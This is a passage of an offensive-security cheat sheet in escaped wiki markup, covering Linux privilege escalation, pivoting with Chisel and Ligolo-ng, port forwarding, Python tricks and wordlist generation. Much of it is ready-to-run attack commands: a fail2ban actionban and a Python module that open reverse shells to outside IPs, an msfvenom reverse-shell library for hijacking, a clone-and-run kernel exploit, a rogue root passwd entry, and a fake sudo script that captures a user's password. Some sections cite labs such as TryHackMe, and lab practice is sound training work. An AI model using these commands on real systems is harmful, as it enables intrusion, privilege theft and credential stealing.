# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
